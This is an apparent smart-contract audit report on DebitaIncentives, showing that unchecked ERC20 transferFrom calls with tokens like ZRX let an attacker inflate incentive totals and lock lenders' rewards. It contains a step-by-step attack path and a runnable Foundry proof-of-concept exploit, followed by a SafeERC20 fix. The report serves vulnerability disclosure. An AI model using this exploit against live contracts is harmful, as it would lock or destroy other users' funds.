Sneaky Grape Goat

Medium

# User's reward can be locked in DebitaIncentives

### Summary

Certain ERC20 tokens, such as [ZRX](https://etherscan.io/address/0xE41d2489571d322189246DaFA5ebDe1F4699F498#code) follows standard erc20 principle but do not revert on failed transfers but instead return false. This behavior can be exploited to manipulate and inflate the incentive calculations in `DebitaIncentives`. Specifically, malicious users can artificially increase the values of `lentIncentivesPerTokenPerEpoch` and `borrowedIncentivesPerTokenPerEpoch` in lines [269-273](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L269-L273), leading to locked rewards for legitimate users.

### Root Cause

The `IERC20::transferFrom` function in `DebitaIncentives` assumes that all transfers will revert on failure, rather than checking the return value to confirm success. This results in incorrect updates to incentive variables when interacting with tokens that do not conform to this assumption

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. A malicious user calls `DebitaIncentives::incentivizePair()` with a non-standard ERC20 token such as ZRX as incentiveToken, which does not revert on failed transfer

2. The incentivizePair() function updates incentive variables:
    * `lentIncentivesPerTokenPerEpoch[principle][hashVariables(incentivizeToken, epoch)]`
    * `borrowedIncentivesPerTokenPerEpoch[principle][hashVariables(incentivizeToken, epoch)]`
    These updates occur even if the malicious user does not have sufficient balance, as the transfer does not revert and no check for a `false` return value exists.

3. The attacker can repeatedly call `incentivizePair()` to inflate these incentive values to arbitrary levels.

4. When legitimate lenders and borrowers who used these weird tokens, attempt to claim rewards using `claimIncentives()`, the `amountToClaim` calculation in line [200-201](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L200-L201) is based on the inflated values. If the contract lacks sufficient token balance to pay out these rewards, no tokens are transferred.

5. Despite the failed token transfer, the claim is marked as complete in `claimedIncentives[msg.sender][hashVariablesT(principle, epoch, token)]`. As a result, users are unable to claim their rewards in the future, effectively locking their incentives.

### Impact

1. Incentive variables (`lentIncentivesPerTokenPerEpoch` and `borrowedIncentivesPerTokenPerEpoch`) are artificially inflated, disrupting the reward system
2. Rewards for lenders and borrowers who interacted with the protocol using some weird tokens (eg- ZRX) are permanently locked. Affected users will have no way to recover their rewards

### PoC

1. Create a new file in test folder -`PoC.t.test`
2. create a `.env` in the root folder and paste your mainnet rpc url like following. Make sure to your add API KEY
```javascript
MAINNET_RPC_URL="https://mainnet.infura.io/v3/<API_KEY>"
```
3.  Paste the following codes in that file-
```solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";

import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "./interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";

contract DebitaAggregatorTest is Test, DynamicData {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;

    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    ERC20Mock public AEROContract;
    IERC20 public ZRXContract;
    address AERO;
    address ZRX;
    address lender = makeAddr("lender");
    address borrower = makeAddr("borrower");
    address incentivizer = makeAddr("incentivizer");
    address maliciousIncentivizer = makeAddr("maliciousIncentivizer");

    function setUp() public {
        vm.createSelectFork(vm.envString("MAINNET_RPC_URL")); // Fork mainnet
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        ZRXContract = IERC20(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
        AERO = address(AEROContract);
        ZRX = address(ZRXContract);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 1e18;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = ZRX;
        acceptedCollaterals[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        deal(AERO, borrower, 100e18);
        deal(ZRX, lender, 100e18);

        vm.startPrank(borrower);
        AEROContract.approve(address(DBOFactoryContract), 10e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1000,
            864000,
            acceptedPrinciples,
            AERO,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            10e18
        );
        vm.stopPrank();

        vm.startPrank(lender);
        ZRXContract.approve(address(DLOFactoryContract), 10e18);
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedCollaterals,
            ZRX,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        LendOrder = DLOImplementation(lendOrderAddress);
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }

    function testLockedIncentives() public {
        address[] memory incentivePrinciples = allDynamicData.getDynamicAddressArray(1);
        address[] memory incentiveToken = allDynamicData.getDynamicAddressArray(1);
        bool[] memory isLend = allDynamicData.getDynamicBoolArray(1);
        uint[] memory amount = allDynamicData.getDynamicUintArray(1);
        uint[] memory epochs = allDynamicData.getDynamicUintArray(1);

        incentivePrinciples[0] = ZRX;
        incentiveToken[0] = ZRX;
        isLend[0] = true;
        amount[0] = 100e18;
        epochs[0] = 2;

        incentivesContract.whitelListCollateral(ZRX, AERO, true);

        // an incentivizer is incentivizing the principle using ZRX
        vm.startPrank(incentivizer);
        ZRXContract.approve(address(incentivesContract), 100e18);
        incentivesContract.incentivizePair(incentivePrinciples, incentiveToken, isLend, amount, epochs);
        vm.stopPrank();

        // a malicious incentivizer is inflating the incentive values
        vm.startPrank(maliciousIncentivizer);
        assertEq(ZRXContract.balanceOf(maliciousIncentivizer), 0);
        amount[0] = 10000000000000000e18;
        ZRXContract.approve(address(incentivesContract), 10000000000000000e18);
        incentivesContract.incentivizePair(incentivePrinciples, incentiveToken, isLend, amount, epochs);
        vm.stopPrank();

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(1);
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData.getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData.getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData.getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData.getDynamicUintArray(1);
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 4e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = ZRX;

        // skipping an epoch and matching offers
        vm.warp(block.timestamp + 15 * 86400);
        DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        // Amount of incentives for lenders(inflated)
        uint lentIncentivesPerTokenPerEpoch1 = incentivesContract.lentIncentivesPerTokenPerEpoch(ZRX, incentivesContract.hashVariables(ZRX, 2));
        console.log("lentIncentivesPerTokenPerEpoch1", lentIncentivesPerTokenPerEpoch1);

        uint256 lentAmountPerUserPerEpoch1 = incentivesContract.lentAmountPerUserPerEpoch(lender, incentivesContract.hashVariables(ZRX, 2));
        console.log("lentAmountPerUserPerEpoch1", lentAmountPerUserPerEpoch1);

        vm.warp(block.timestamp + 32 * 86400);

        address[] memory tokenUsed = allDynamicData.getDynamicAddressArray(1);
        tokenUsed[0] = ZRX;
        principles[0] = ZRX;
        address[][] memory tokensIncentives = new address[][](tokenUsed.length);
        tokensIncentives[0] = tokenUsed;

        // Lender is claiming his incentives but will not get any balance
        uint balanceBefore = ZRXContract.balanceOf(lender);
        vm.prank(lender);
        incentivesContract.claimIncentives(principles, tokensIncentives, 2);
        uint256 balanceAfter = ZRXContract.balanceOf(lender);

        // Lenders incentives is marked as paid in contract but he received nothing
        assertEq(balanceBefore, balanceAfter);

        // Thus the incentives paid by the original incentivizer are now locked in the DebitaIncentives contract
    }
}

```
4. Run `forge test --mt testLockedIncentives -vv`

### Mitigation

Use OpenZeppelin's SafeERC20 in line [203](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L203) and [269](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L269-L273) of `DebitaIncentives` where the safeTransfer and safeTransferFrom functions can handle the return value check as well as non-standard-compliant tokens.